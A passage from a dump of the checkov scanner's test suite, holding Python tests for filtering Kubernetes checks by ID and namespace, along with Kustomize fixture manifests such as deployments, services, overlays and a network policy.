Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"CKV_1\"], skip_checks=[])\n        check = TestCheck('CKV_999')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_omitted_specific_enablebc_id(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"BC_CKV_1\"], skip_checks=[])\n        check = TestCheck('CKV_999', 'BC_CKV_999')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_specific_disable(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"CKV_1\"])\n        check = TestCheck('CKV_1')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_specific_disable_bc_id(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"BC_CKV_1\"])\n        check = TestCheck('CKV_1', 'BC_CKV_1')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_omitted_specific_disable(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"CKV_1\"])\n        check = TestCheck('CKV_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_omitted_specific_disable_bc_id(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"BC_CKV_1\"])\n        check = TestCheck('CKV_999', 'BC_CKV_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"CKV_1\"])\n        run_filter.notify_external_check(\"CKV_EXT_999\")\n        check = TestCheck('CKV_EXT_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external2(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"CKV_1\"], skip_checks=[\"CKV_2\"])\n        run_filter.notify_external_check(\"CKV_EXT_999\")\n        check = TestCheck('CKV_EXT_999')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external3(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"CKV_EXT_999\"], skip_checks=[])\n        run_filter.notify_external_check(\"CKV_EXT_999\")\n        check = TestCheck('CKV_EXT_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external4(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"CKV_1\"], skip_checks=[\"CKV_2\"], all_external=True)\n        run_filter.notify_external_check(\"CKV_EXT_999\")\n        check = TestCheck('CKV_EXT_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external_disabled(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"CKV_1\", \"CKV_EXT_999\"])\n        run_filter.notify_external_check(\"CKV_EXT_999\")\n        check = TestCheck('CKV_EXT_999')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external_custom(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"K8S_EXT_999\"], skip_checks=[])\n        run_filter.notify_external_check(\"K8S_EXT_999\")\n        check = TestCheck('K8S_EXT_999')\n        self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    def test_run_by_id_external_custom_disabled(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"K8S_EXT_999\"])\n        run_filter.notify_external_check(\"K8S_EXT_999\")\n        check = TestCheck('K8S_EXT_999')\n        self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES))\n\n    # Namespace filtering\n\n    def test_namespace_allow_default(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"default\"], skip_checks=[])\n        config = {\"metadata\": {\"namespace\": \"not_matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n    def test_namespace_deny_default(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"default\"])\n        config = {\"metadata\": {\"namespace\": \"not_matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n    def test_namespace_allow_specific(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"matched\"], skip_checks=[])\n        config = {\"metadata\": {\"namespace\": \"matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n    def test_namespace_deny_specific(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"matched\"])\n        config = {\"metadata\": {\"namespace\": \"matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n    def test_namespace_allow_specific_other(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[\"something_else\"], skip_checks=[])\n        config = {\"metadata\": {\"namespace\": \"not_matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n    def test_namespace_deny_specific_other(self):\n        instance = Registry(report_type=CheckType.KUBERNETES)\n        run_filter = RunnerFilter(checks=[], skip_checks=[\"something_else\"])\n        config = {\"metadata\": {\"namespace\": \"not_matched\"}}\n        check = TestCheck('CKV_1')\n        self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES))\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kubernetes/test_kubernetes_utils.py",
    "content": "from operator import itemgetter\n\nfrom checkov.kubernetes.kubernetes_utils import get_skipped_checks\n\n\ndef test_get_skipped_checks():\n    # given\n    manifest = {\n        \"apiVersion\": \"v1\",\n        \"kind\": \"Pod\",\n        \"metadata\": {\n            \"name\": \"nginx\",\n            \"labels\": {\"test\": \"test\", \"__startline__\": 6, \"__endline__\": 7},\n            \"annotations\": {\n                \"checkov.io/skip1\": \"CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS\",\n                \"checkov.io/skip2\": \"CKV2_CUSTOM_1=I have not set CPU limits as I want BestEffort QoS\",\n                \"checkov.io/skip3\": \"CKV_K8S_14\",\n                \"checkov.io/skip4\": \"CUSTOM_1\",\n                \"__startline__\": 8,\n                \"__endline__\": 12,\n            },\n            \"__startline__\": 4,\n            \"__endline__\": 12,\n        },\n        \"spec\": {\n            \"containers\": [\n                {\n                    \"name\": \"nginx\",\n                    \"image\": \"nginx:1.14.2\",\n                    \"ports\": [{\"containerPort\": 80, \"__startline__\": 17, \"__endline__\": 17}],\n                    \"__startline__\": 14,\n                    \"__endline__\": 17,\n                }\n            ],\n            \"__startline__\": 13,\n            \"__endline__\": 17,\n        },\n        \"__startline__\": 1,\n        \"__endline__\": 17,\n    }\n\n    # when\n    skipped = get_skipped_checks(entity_conf=manifest)\n\n    # then\n    # remove 'bc_id' if present\n    for skip in skipped:\n        skip.pop(\"bc_id\", None)\n\n    assert sorted(skipped, key=itemgetter(\"id\")) == sorted(\n        [\n            {\"id\": \"CKV_K8S_11\", \"suppress_comment\": \"I have not set CPU limits as I want BestEffort QoS\"},\n            {\"id\": \"CKV2_CUSTOM_1\", \"suppress_comment\": \"I have not set CPU limits as I want BestEffort QoS\"},\n            {\"id\": \"CKV_K8S_14\", \"suppress_comment\": \"No comment provided\"},\n            {\"id\": \"CUSTOM_1\", \"suppress_comment\": \"No comment provided\"},\n        ],\n        key=itemgetter(\"id\"),\n    )\n"
  },
  {
    "path": "tests/kubernetes/test_scanner_registry.py",
    "content": "import unittest\n\nfrom checkov.kubernetes.checks.resource.registry import registry\n\n\nclass TestScannerRegistry(unittest.TestCase):\n\n    def test_num_of_scanners(self):\n        scanners_counter = 0\n        for key in list(registry.checks.keys()):\n            scanners_counter += len(registry.checks[key])\n\n        self.assertGreater(scanners_counter, 1)\n\n    def test_non_colliding_check_ids(self):\n        check_id_check_class_map = {}\n        for (resource_type, checks) in registry.checks.items():\n            for check in checks:\n                check_id_check_class_map.setdefault(check.id, []).append(check)\n\n        for check_id, check_classes in check_id_check_class_map.items():\n            self.assertEqual(len(set(check_classes)), 1)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/kustomize/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kustomize/graph/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kustomize/graph/resources/empty_resources/graph_check.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: internal-proxy-deployment\n  labels:\n    app: internal-proxy\nspec:\n  selector:\n    matchLabels:\n      app: internal-proxy\n  template:\n    metadata:\n      labels:\n        app: internal-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-proxy-deployment\n  labels:\n    app: external-proxy\nspec:\n  selector:\n    matchLabels:\n      app: external-proxy\n  template:\n    metadata:\n      labels:\n        app: external-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-network-policy\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: internal-proxy\n  policyTypes:\n    - Ingress\n    - Egress\n  ingress:\n    - from:\n        - ipBlock:\n            cidr: 172.17.0.0/16\n            except:\n              - 172.17.1.0/24\n        - podSelector:\n            matchLabels:\n              app: internal-proxy\n      ports:\n        - protocol: TCP\n          port: 6379\n  egress:\n    - to:\n        - ipBlock:\n            cidr: 10.0.0.0/24\n      ports:\n        - protocol: TCP\n          port: 5978\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: skipdeployment\n  annotations:\n    \"checkov.io/skip\": \"CKV2_K8S_6=skip it\"\n  labels:\n    app: skip\nspec:\n  selector:\n    matchLabels:\n      app: skip\n  template:\n    metadata:\n      labels:\n        app: skip\n    spec:\n      containers:\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n"
  },
  {
    "path": "tests/kustomize/graph/resources/empty_resources/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nresources:\n#  - graph_check.yaml\n"
  },
  {
    "path": "tests/kustomize/graph/resources/example_checks/graph_check.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: internal-proxy-deployment\n  labels:\n    app: internal-proxy\nspec:\n  selector:\n    matchLabels:\n      app: internal-proxy\n  template:\n    metadata:\n      labels:\n        app: internal-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: external-proxy-deployment\n  labels:\n    app: external-proxy\nspec:\n  selector:\n    matchLabels:\n      app: external-proxy\n  template:\n    metadata:\n      labels:\n        app: external-proxy\n    spec:\n      containers:\n      - name: internal-api\n        image: madhuakula/k8s-goat-internal-api\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 3000\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n---\napiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: test-network-policy\n  namespace: default\nspec:\n  podSelector:\n    matchLabels:\n      app: internal-proxy\n  policyTypes:\n    - Ingress\n    - Egress\n  ingress:\n    - from:\n        - ipBlock:\n            cidr: 172.17.0.0/16\n            except:\n              - 172.17.1.0/24\n        - podSelector:\n            matchLabels:\n              app: internal-proxy\n      ports:\n        - protocol: TCP\n          port: 6379\n  egress:\n    - to:\n        - ipBlock:\n            cidr: 10.0.0.0/24\n      ports:\n        - protocol: TCP\n          port: 5978\n---\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: skipdeployment\n  annotations:\n    \"checkov.io/skip\": \"CKV2_K8S_6=skip it\"\n  labels:\n    app: skip\nspec:\n  selector:\n    matchLabels:\n      app: skip\n  template:\n    metadata:\n      labels:\n        app: skip\n    spec:\n      containers:\n      - name: info-app\n        image: madhuakula/k8s-goat-info-app\n        resources:\n          limits:\n            cpu: 30m\n            memory: 40Mi\n          requests:\n            cpu: 30m\n            memory: 40Mi\n        ports:\n        - containerPort: 5000\n"
  },
  {
    "path": "tests/kustomize/graph/resources/example_checks/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nresources:\n  - graph_check.yaml\n"
  },
  {
    "path": "tests/kustomize/graph/test_running_graph_checks.py",
    "content": "from pathlib import Path\n\nimport pytest\nfrom pytest_mock import MockerFixture\n\nimport os\nfrom checkov.kustomize.runner import Runner\nfrom checkov.runner_filter import RunnerFilter\nfrom tests.graph_utils.utils import GRAPH_FRAMEWORKS\nfrom tests.kustomize.utils import kustomize_exists\n\n\ndef get_kustomize_summary(mocker: MockerFixture, graph_framework, scan_dir_path):\n    dir_rel_path = os.path.realpath(scan_dir_path).replace('\\\\', '/')\n\n    runner_filter = RunnerFilter(framework=[\"kustomize\"], checks=[\"CKV2_K8S_6\"])\n\n    mocker.patch.dict(\"os.environ\", {\"CHECKOV_GRAPH_FRAMEWORK\": graph_framework})\n\n    runner = Runner()\n    runner.templateRendererCommand = \"kustomize\"\n    runner.templateRendererCommandOptions = \"build\"\n\n    report = runner.run(root_folder=dir_rel_path, runner_filter=runner_filter, external_checks_dir=None)\n\n    summary = report.get_summary()\n\n    return summary\n\n\n@pytest.mark.skipif(not kustomize_exists(), reason=\"kustomize not installed\")\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_runner(mocker: MockerFixture, graph_framework):\n    scan_dir_path = Path(__file__).parent / \"resources\" / \"example_checks\"\n    summary = get_kustomize_summary(mocker=mocker, graph_framework=graph_framework, scan_dir_path=scan_dir_path)\n\n    assert summary[\"passed\"] == 1\n    assert summary[\"failed\"] == 1\n    assert summary[\"skipped\"] == 1\n    assert summary[\"parsing_errors\"] == 0\n\n\n@pytest.mark.skipif(not kustomize_exists(), reason=\"kustomize not installed\")\n@pytest.mark.parametrize(\"graph_framework\", GRAPH_FRAMEWORKS)\ndef test_empty_resources(mocker: MockerFixture, graph_framework):\n    scan_dir_path = Path(__file__).parent / \"resources\" / \"empty_resources\"\n\n    summary = get_kustomize_summary(mocker=mocker, graph_framework=graph_framework, scan_dir_path=scan_dir_path)\n\n    assert summary[\"passed\"] == 0\n    assert summary[\"failed\"] == 0\n    assert summary[\"skipped\"] == 0\n    assert summary[\"parsing_errors\"] == 0\n"
  },
  {
    "path": "tests/kustomize/runner/__init__.py",
    "content": ""
  },
  {
    "path": "tests/kustomize/runner/resources/example/base/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  selector:\n    matchLabels:\n      app: sl-demo-app\n  template:\n    metadata:\n      labels:\n        app: sl-demo-app\n    spec:\n      containers:\n      - name: app\n        image: foo/bar:latest\n        ports:\n        - name: http\n          containerPort: 8080\n          protocol: TCP\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/base/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nresources:\n  - service.yaml\n  - deployment.yaml\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/base/service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: sl-demo-app\nspec:\n  ports:\n    - name: http\n      port: 8080\n  selector:\n    app: sl-demo-app\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/no_type/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/dev/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/dev/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/dev/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nbases:\n- ../../base\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/dev/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/empty/kustomization.yaml",
    "content": "# just an empty file, shouldn't crash the run\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nbases:\n- ../../base\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-2/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-2/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-2/kustomization.yml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nbases:\n- ../../base\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-2/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-3/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-3/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-3/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nbases:\n- ../../base\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-3/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-4/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-4/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-4/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\nbases:\n- ../../base\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/prod-4/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/test/custom-env.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n        - name: app # (1)\n          env:\n            - name: CUSTOM_ENV_VARIABLE\n              value: Value defined by Kustomize ❤️\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/test/database-secret.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  template:\n    spec:\n      containers:\n      - name: app\n        env:\n        - name: \"DB_PASSWORD\"\n          valueFrom:\n            secretKeyRef:\n              name: sl-demo-app\n              key: db.password\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/test/kustomization.yaml",
    "content": "apiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\n\npatchesStrategicMerge:\n- custom-env.yaml\n- replica-and-rollout-strategy.yaml\n- database-secret.yaml\n\nsecretGenerator:\n- literals:\n  - db-password=12345\n  name: sl-demo-app\n  type: Opaque\n\nimages:\n- name: foo/bar\n  newName: foo/bar\n  newTag: 3.4.5\n"
  },
  {
    "path": "tests/kustomize/runner/resources/example/overlays/test/replica-and-rollout-strategy.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: sl-demo-app\nspec:\n  replicas: 10\n  strategy:\n    rollingUpdate:\n      maxSurge: 1\n      maxUnavailable: 1\n    type: RollingUpdate\n"
  },
  {
    "path": "tests/kustomize/runner/resources/image_referencer/base/deployment.yaml",
    "content": "apiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: wordpress\n  labels:\n    app: wordpress\nspec:\n  selector:\n    matchLabels:\n      app: wordpress\n  strategy:\n    type: Recreate\n  template:\n    metadata:\n      labels:\n        app: wordpress\n    spec:\n      containers:\n      - image: wordpress:4.8-apache\n        name: wordpress\n        ports:\n        - containerPort: 80\n          name: wordpress\n        volumeMounts:\n        - name: wordpress-persistent-storage\n          mountPath: /var/www/html\n      volumes:\n      - name: wordpress-persistent-storage\n        emptyDir: {}\n"
  },
  {
    "path": "tests/kustomize/runner/resources/image_referencer/base/kustomization.yaml",
    "content": "resources:\n- deployment.yaml\n- service.yaml\n"
  },
  {
    "path": "tests/kustomize/runner/resources/image_referencer/base/service.yaml",
    "content": "apiVersion: v1\nkind: Service\nmetadata:\n  name: wordpress\n  labels:\n    app: wordpress\nspec:\n  ports:\n    - port: 80\n  selector:\n    app: wordpress\n  type: LoadBalancer\n"
  },
  {
    "path": "tests/kustomize/runner/resources/image_referencer/overlays/prod/kustomization.yaml",
    "content": "resources:\n-   ../../base\nnamePrefix: prod-\n"
  },
  {
    "path": "tests/kustomize/test_runner.py",
